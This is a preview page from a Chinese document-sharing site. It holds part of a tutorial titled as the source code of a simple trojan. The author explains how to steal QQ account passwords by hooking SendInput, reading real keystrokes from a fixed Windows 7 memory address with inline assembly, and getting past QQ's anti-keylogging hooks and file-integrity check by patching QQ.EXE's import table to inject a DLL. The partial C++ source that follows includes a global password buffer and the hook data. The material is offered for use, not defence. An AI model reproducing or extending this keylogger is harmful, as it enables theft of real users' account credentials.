一个简单木马的源代码

一个简单木马的源代码

ID:1124747

大小:150.00 KB

页数:23页

时间:2017-11-07

一个简单木马的源代码_第1页
一个简单木马的源代码_第2页
一个简单木马的源代码_第3页
一个简单木马的源代码_第4页
一个简单木马的源代码_第5页
资源描述:

《一个简单木马的源代码》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库

1、代码没给大家 讲解,不知道看懂没。所以,现在我原理给大家说一下,腾讯QQ 安装了两个钩子一个是WH_DEBUG,还有一个是WH_KEYBOARD_LL,当QQ的密码框获得焦点的时候DEBUG钩子就开始用SendInput发送乱码,在QQ启动的时候也会先调用SendInput发送一个乱码,所以就挂钩SendInput 这个函数,我们正确安装按键的时候QQ会通过WH_KERBOARD_LL低级钩子,发送一个错误的按键信息,在这里通过分析,发现在WIN7系统上 真实的按键的就在0x12faa0处记录着,挂钩之后判断一下来源,if(nRetAddress!=0x74F3&&nRetAd

2、dress!=0x7374) ,就排除不是真实按键调用的,当然上面这句我们是WIn7上的地址,所有有朋友说,在XP上不行,由于我是WIN7的系统,还没装XP的虚拟机,所以并没添加这个判断,传进来的pInputs等我们基本上就不用去管他,然后通过if(pInputs->ki.dwFlags==0)判断是否是键盘按下,如果是按下,我们就开始记录。DWORD nRetAddress=0;  _asm  {    mov eax,0    mov ax,[ebp+4]    mov nRetAddress,eax  }if(nRetAddress!=0x74F3&&nRetAddres

3、s!=0x7374) 这就是取得是什么地方在调用SendInput.char key=0;    _asm    {      mov ebx,0x12faa0      mov eax,0      mov al,[ebx]      mov key,al    }获取真实的按键,稍后我换上XP系统后,会将这个几个关键西方的发出,大家就可以在XP上也能使用这个木马了。有人会问为什么我 的文件是User32Hook.cpp 实际挂钩的是SendInput,这个是因为,我用OD分析的时候发现在User32.dll中有一个固定地址 通过[ebp+c]之后也可以获取到 键盘按下的真实

4、按键信息,只要挂钩在那里,也是可以获得真确的按键信息,然后写出木马,并且可以早于QQ的WH_KEYBOARD_LL钩子获取真实按键,就算QQ在WH_KEYBOARD_LL把 WIN7下地址为0x12faa0的真实按键信息清0,也是没有用的,兴趣的朋友,就在 WH_KEYBOARD_LL上下段,然后往上跟就会看到了。只是这样挂钩USER32.dll的时候光写这个DLL了,就得去修改QQ.EXE文件,修改QQEXE后,他有个自身文件的验证,可以通过修改输入表,替换掉CreateFileW 改变打开的文件,而绕过他的文件验证保护,在首地址写入,加载DLL的代码,立马挂钩USER32.

5、DLL,然后恢复QQ的OEP地址的内存,从新回到QQ的OEP,这样就可以在QQ输入密码的时候早于QQ获得,也不用在挂钩SendInput,后来我发现WH_KEYBOARD_LL钩子中当真实的按键按下时,他也会去调用SendInput虽然是错的按键,但是我们可以通过0x12faa0获得真实的按键,所以我就改写了,代码,这样看起来更简单。其他的我就不多说,有兴趣的朋友,在分析把!代码在后面,我会陆续全部贴上代码:#include #include #include #pragma comment(lib,"User32.

6、lib")#include "User32Hook.h"char g_Password[100]={0};int g_KeyIndex=0;BYTE g_OldFunc[8];BYTE g_NewFunc[8];FARPROC g_lpHookFunc;BYTE g_NewFunc2[8]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};DWORD g_lpHookFunc2;char asciiKey1[]={  '~','1','2','3','4','5','6','7','8','9','0','-','=',  'a','b','c

7、','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',  '[',']','\',';',''',',','.','/',  '0','1','2','3','4','5','6','7','8','9','*','+','-','.','*'};char asciiKey2[]={  '~','1','2','3','4','5','6','7','8'

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。